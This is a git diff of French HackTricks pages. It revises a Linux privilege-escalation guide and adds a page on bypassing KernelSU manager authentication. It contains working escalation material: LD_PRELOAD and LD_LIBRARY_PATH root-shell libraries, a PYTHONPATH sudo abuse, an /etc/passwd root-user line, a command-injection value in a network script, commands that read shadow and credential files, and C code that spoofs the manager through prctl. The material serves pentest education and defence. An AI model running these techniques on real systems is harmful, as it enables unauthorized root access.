**En savoir plus sur les minuteurs avec `man systemd.timer`.**
### **Activation du minuteur**
### **Activation du Minuteur**
Pour activer un minuteur, vous avez besoin de privilèges root et d'exécuter :
```bash
@ -458,7 +458,7 @@ _Notez que le système doit utiliser cette configuration de fichier socket ou la
### Sockets écrits
Si vous **identifiez un socket écrivable** (_nous parlons maintenant des Unix Sockets et non des fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité.
Si vous **identifiez un socket écrivable** (_nous parlons maintenant des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité.
### Énumérer les Unix Sockets
```bash
@ -564,7 +564,7 @@ runc-privilege-escalation.md
D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir efficacement et de partager des données. Conçu avec le système Linux moderne à l'esprit, il offre un cadre robuste pour différentes formes de communication entre applications.
Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de services et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes.
Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de service et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes.
D-Bus fonctionne sur un **modèle d'autorisation/refus**, gérant les permissions de message (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges par l'exploitation de ces permissions.
@ -687,7 +687,7 @@ Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous con
### Su Brute
Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
Si cela ne vous dérange pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les mots de passe des utilisateurs.
## Abus de PATH écrivable
@ -732,7 +732,7 @@ $ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **l'escroquerie PYTHONPATH** pour charger une bibliothèque python arbitraire tout en exécutant le script en tant que root :
Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **l'attaque PYTHONPATH** pour charger une bibliothèque python arbitraire tout en exécutant le script en tant que root :
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
@ -804,7 +804,7 @@ setuid(0);
system("/bin/bash");
}
```
Ensuite, **compilez-le** en utilisant :
Puis **compilez-le** en utilisant :
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
@ -814,7 +814,7 @@ Enfin, **escalader les privilèges** en exécutant
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
> Une privesc similaire peut être abusée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
```c
#include <stdio.h>
#include <stdlib.h>
@ -834,7 +834,7 @@ cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID Binaire – injection .so
### Binaire SUID – injection .so
Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante :
```bash
@ -892,7 +892,7 @@ cela signifie que la bibliothèque que vous avez générée doit avoir une fonct
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) est une liste soigneusement sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande.
[**GTFOBins**](https://gtfobins.github.io) est une liste sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande.
Le projet collecte des fonctions légitimes de binaires Unix qui peuvent être abusées pour sortir de shells restreints, élever ou maintenir des privilèges élevés, transférer des fichiers, créer des shells bind et reverse, et faciliter d'autres tâches post-exploitation.
@ -939,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo**
- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo**
```bash
bash exploit_v3.sh
sudo su
@ -1006,7 +1006,7 @@ Le fichier `/etc/ld.so.conf` indique **d'où proviennent les fichiers de configu
Cela signifie que les fichiers de configuration de `/etc/ld.so.conf.d/*.conf` seront lus. Ces fichiers de configuration **pointent vers d'autres dossiers** où **les bibliothèques** vont être **recherchées**. Par exemple, le contenu de `/etc/ld.so.conf.d/libc.conf` est `/usr/local/lib`. **Cela signifie que le système recherchera des bibliothèques à l'intérieur de `/usr/local/lib`**.
Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il peut être en mesure d'escalader les privilèges.\
Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il pourrait être en mesure d'escalader les privilèges.\
Jetez un œil à **comment exploiter cette mauvaise configuration** dans la page suivante :
{{#ref}}
@ -1078,11 +1078,11 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Ouvrir des sessions shell
Dans les **anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\
Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
### Détournement de sessions d'écran
### Détournement de sessions screen
**Lister les sessions d'écran**
**Lister les sessions screen**
```bash
screen -ls
screen -ls <username>/ # Show another user' screen sessions
@ -1117,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
Vérifiez **Valentine box from HTB** pour un exemple.
Vérifiez la **boîte de Saint-Valentin de HTB** pour un exemple.
## SSH
@ -1134,11 +1134,11 @@ Ce bug est causé lors de la création d'une nouvelle clé ssh dans ces OS, car
### PermitRootLogin
Spécifie si root peut se connecter en utilisant ssh, la valeur par défaut est `no`. Valeurs possibles :
Spécifie si le root peut se connecter en utilisant ssh, la valeur par défaut est `no`. Valeurs possibles :
- `yes` : root peut se connecter en utilisant un mot de passe et une clé privée
- `without-password` ou `prohibit-password` : root ne peut se connecter qu'avec une clé privée
- `forced-commands-only` : Root ne peut se connecter qu'en utilisant une clé privée et si les options de commandes sont spécifiées
- `yes` : le root peut se connecter en utilisant un mot de passe et une clé privée
- `without-password` ou `prohibit-password` : le root ne peut se connecter qu'avec une clé privée
- `forced-commands-only` : le root ne peut se connecter qu'en utilisant une clé privée et si les options de commandes sont spécifiées
- `no` : non
### AuthorizedKeysFile
@ -1158,7 +1158,7 @@ Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci :
Host example.com
ForwardAgent yes
```
Remarque que si `Host` est `*`, chaque fois que l'utilisateur passe à une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité).
Remarque : si `Host` est `*`, chaque fois que l'utilisateur passe à une machine différente, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité).
Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\
Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autoriser).
@ -1177,7 +1177,7 @@ Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scri
```bash
ls -l /etc/profile /etc/profile.d/
```
Si un script de profil étrange est trouvé, vous devez le vérifier pour **des détails sensibles**.
Si un script de profil étrange est trouvé, vous devriez le vérifier pour **des détails sensibles**.
### Fichiers Passwd/Shadow
@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
Dans certaines occasions, vous pouvez trouver des **hashes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent).
Dans certaines occasions, vous pouvez trouver des **hashs de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent).
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
@ -1204,7 +1204,7 @@ Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
Par exemple : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker`
@ -1260,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers
### \*\_histoire, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers
```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```
@ -1292,7 +1292,7 @@ Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalati
### Journaux
Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le journal est étrange, plus il sera intéressant (probablement).\
De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1312,14 +1312,14 @@ Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/inde
```
### Recherche de crédentiels génériques/Regex
Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et également vérifier les IP et les emails dans les journaux, ou les regex de hachages.\
Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et aussi vérifier les IP et les emails dans les logs, ou les regexps de hachages.\
Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue.
## Fichiers écriture
### Détournement de bibliothèque Python
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
Pour **insérer une porte dérobée dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
```python
@ -1336,7 +1336,7 @@ Des informations plus détaillées sur la vulnérabilité peuvent être trouvée
Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten).
Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever les privilèges en substituant les journaux par des liens symboliques.
Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever vos privilèges en substituant les journaux par des liens symboliques.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@ -1354,15 +1354,15 @@ NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
### **init, init.d, systemd, et rc.d**
### **init, init.d, systemd et rc.d**
Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système de gestion de services Linux classique**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`.
D'autre part, `/etc/init` est associé à **Upstart**, un **gestionnaire de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart.
D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart.
**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage, et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système.
**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système.
## Autres Astuces
## Autres astuces
### Escalade de privilèges NFS
@ -1382,7 +1382,7 @@ escaping-from-limited-bash.md
cisco-vmanage.md
{{#endref}}
## Protections de Sécurité du Noyau
## Protections de sécurité du noyau
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
@ -1395,16 +1395,16 @@ cisco-vmanage.md
### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Énumérer les vulnérabilités du noyau sous linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (accès physique):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation de plus de scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**LinEnum** : [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy** : [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot :** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop :** Énumérer les vulnérabilités du noyau sous Linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit :** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (accès physique) :** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## Références
@ -1426,4 +1426,12 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Cadres de rooting Android : abus de gestionnaire de canal
Les cadres de rooting Android accrochent couramment un syscall pour exposer des fonctionnalités de noyau privilégiées à un gestionnaire d'espace utilisateur. Une authentification faible du gestionnaire (par exemple, des vérifications de signature basées sur l'ordre FD ou de mauvais schémas de mot de passe) peut permettre à une application locale d'usurper l'identité du gestionnaire et d'escalader vers root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici :
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

190
src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md Normal file
View File

@ -0,0 +1,190 @@
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
{{#include ../../banners/hacktricks-training.md}}
Les frameworks de rooting comme KernelSU, APatch, SKRoot et Magisk patchent fréquemment le noyau Linux/Android et exposent des fonctionnalités privilégiées à une application "manager" en espace utilisateur non privilégié via un syscall hooké. Si l'étape d'authentification du manager est défaillante, n'importe quelle application locale peut accéder à ce canal et élever ses privilèges sur des appareils déjà rootés.
Cette page résume les techniques et pièges découverts dans des recherches publiques (notamment l'analyse de KernelSU v0.5.7 par Zimperium) pour aider les équipes rouges et bleues à comprendre les surfaces d'attaque, les primitives d'exploitation et les atténuations robustes.
---
## Modèle d'architecture : canal de manager hooké par syscall
- Le module/patch du noyau hooke un syscall (généralement prctl) pour recevoir des "commandes" de l'espace utilisateur.
- Le protocole est généralement : magic_value, command_id, arg_ptr/len ...
- Une application manager en espace utilisateur s'authentifie d'abord (par exemple, CMD_BECOME_MANAGER). Une fois que le noyau marque l'appelant comme un manager de confiance, des commandes privilégiées sont acceptées :
- Accorder le root à l'appelant (par exemple, CMD_GRANT_ROOT)
- Gérer les listes d'autorisation/de refus pour su
- Ajuster la politique SELinux (par exemple, CMD_SET_SEPOLICY)
- Interroger la version/configuration
- Parce que n'importe quelle application peut invoquer des syscalls, la validité de l'authentification du manager est critique.
Exemple (conception de KernelSU) :
- Syscall hooké : prctl
- Valeur magique pour détourner vers le gestionnaire KernelSU : 0xDEADBEEF
- Les commandes incluent : CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, etc.
---
## Flux d'authentification de KernelSU v0.5.7 (tel qu'implémenté)
Lorsque l'espace utilisateur appelle prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU vérifie :
1) Vérification du préfixe de chemin
- Le chemin fourni doit commencer par un préfixe attendu pour l'UID de l'appelant, par exemple /data/data/<pkg> ou /data/user/<id>/<pkg>.
- Référence : core_hook.c (v0.5.7) logique de préfixe de chemin.
2) Vérification de la propriété
- Le chemin doit être possédé par l'UID de l'appelant.
- Référence : core_hook.c (v0.5.7) logique de propriété.
3) Vérification de la signature APK via un scan de la table FD
- Itérer les descripteurs de fichiers ouverts (FDs) du processus appelant.
- Prendre le premier fichier dont le chemin correspond à /data/app/*/base.apk.
- Analyser la signature APK v2 et vérifier contre le certificat officiel du manager.
- Références : manager.c (itération des FDs), apk_sign.c (vérification APK v2).
Si toutes les vérifications passent, le noyau met en cache temporairement l'UID du manager et accepte les commandes privilégiées de cet UID jusqu'à réinitialisation.
---
## Classe de vulnérabilité : faire confiance à "la première APK correspondante" de l'itération FD
Si la vérification de la signature se lie à "la première /data/app/*/base.apk correspondante" trouvée dans la table FD du processus, elle ne vérifie pas réellement le package de l'appelant. Un attaquant peut pré-positionner une APK signée légitimement (celle du vrai manager) de sorte qu'elle apparaisse plus tôt dans la liste FD que sa propre base.apk.
Cette confiance par indirecte permet à une application non privilégiée d'usurper le manager sans posséder la clé de signature du manager.
Propriétés clés exploitées :
- Le scan FD ne se lie pas à l'identité du package de l'appelant ; il ne fait que faire correspondre des chaînes de chemin.
- open() retourne le FD disponible le plus bas. En fermant d'abord les FDs de numéro inférieur, un attaquant peut contrôler l'ordre.
- Le filtre ne vérifie que si le chemin correspond à /data/app/*/base.apk – pas qu'il corresponde au package installé de l'appelant.
---
## Préconditions d'attaque
- L'appareil est déjà rooté avec un framework de rooting vulnérable (par exemple, KernelSU v0.5.7).
- L'attaquant peut exécuter du code non privilégié arbitraire localement (processus d'application Android).
- Le vrai manager ne s'est pas encore authentifié (par exemple, juste après un redémarrage). Certains frameworks mettent en cache l'UID du manager après succès ; vous devez gagner la course.
---
## Plan d'exploitation (KernelSU v0.5.7)
Étapes de haut niveau :
1) Construire un chemin valide vers votre propre répertoire de données d'application pour satisfaire les vérifications de préfixe et de propriété.
2) S'assurer qu'un véritable base.apk de KernelSU Manager est ouvert sur un FD de numéro inférieur à celui de votre propre base.apk.
3) Invoquer prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) pour passer les vérifications.
4) Émettre des commandes privilégiées comme CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY pour persister l'élévation.
Notes pratiques sur l'étape 2 (ordre des FD) :
- Identifier le FD de votre processus pour votre propre /data/app/*/base.apk en parcourant les symlinks /proc/self/fd.
- Fermer un FD bas (par exemple, stdin, fd 0) et ouvrir d'abord l'APK légitime du manager afin qu'il occupe le fd 0 (ou tout index inférieur à celui de votre propre fd base.apk).
- Regrouper l'APK légitime du manager avec votre application afin que son chemin satisfasse le filtre naïf du noyau. Par exemple, le placer sous un sous-chemin correspondant à /data/app/*/base.apk.
Exemples de snippets de code (Android/Linux, illustratifs uniquement) :
Énumérer les FDs ouverts pour localiser les entrées base.apk :
```c
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
```
Forcer un FD de numéro inférieur à pointer vers le APK de gestionnaire légitime :
```c
#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
```
Gestion de l'authentification via le hook prctl :
```c
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
```
Après succès, commandes privilégiées (exemples) :
- CMD_GRANT_ROOT : promouvoir le processus actuel en root
- CMD_ALLOW_SU : ajouter votre package/UID à la liste blanche pour un su persistant
- CMD_SET_SEPOLICY : ajuster la politique SELinux comme supporté par le framework
Conseil sur la course/persistante :
- Enregistrer un récepteur BOOT_COMPLETED dans AndroidManifest (RECEIVE_BOOT_COMPLETED) pour démarrer tôt après le redémarrage et tenter l'authentification avant le véritable gestionnaire.
---
## Conseils de détection et d'atténuation
Pour les développeurs de framework :
- Lier l'authentification au package/UID de l'appelant, pas à des FDs arbitraires :
- Résoudre le package de l'appelant à partir de son UID et vérifier contre la signature du package installé (via PackageManager) plutôt que de scanner les FDs.
- Si uniquement au niveau du noyau, utiliser une identité d'appelant stable (crédits de tâche) et valider sur une source de vérité stable gérée par init/utilitaire utilisateur, pas par les FDs de processus.
- Éviter les vérifications de préfixe de chemin comme identité ; elles sont trivialement satisfaisables par l'appelant.
- Utiliser un défi-réponse basé sur un nonce sur le canal et effacer toute identité de gestionnaire mise en cache au démarrage ou lors d'événements clés.
- Envisager l'IPC authentifié basé sur binder au lieu de surcharger les syscalls génériques lorsque cela est possible.
Pour les défenseurs/équipe bleue :
- Détecter la présence de frameworks de rooting et de processus de gestion ; surveiller les appels prctl avec des constantes magiques suspectes (par exemple, 0xDEADBEEF) si vous avez une télémétrie du noyau.
- Sur des flottes gérées, bloquer ou alerter sur les récepteurs de démarrage provenant de packages non fiables qui tentent rapidement des commandes de gestion privilégiées après le démarrage.
- S'assurer que les appareils sont mis à jour vers des versions de framework corrigées ; invalider les ID de gestionnaire mis en cache lors de la mise à jour.
Limitations de l'attaque :
- N'affecte que les appareils déjà rootés avec un framework vulnérable.
- Nécessite généralement un redémarrage/une fenêtre de course avant que le gestionnaire légitime ne s'authentifie (certains frameworks mettent en cache l'UID du gestionnaire jusqu'à réinitialisation).
---
## Notes connexes à travers les frameworks
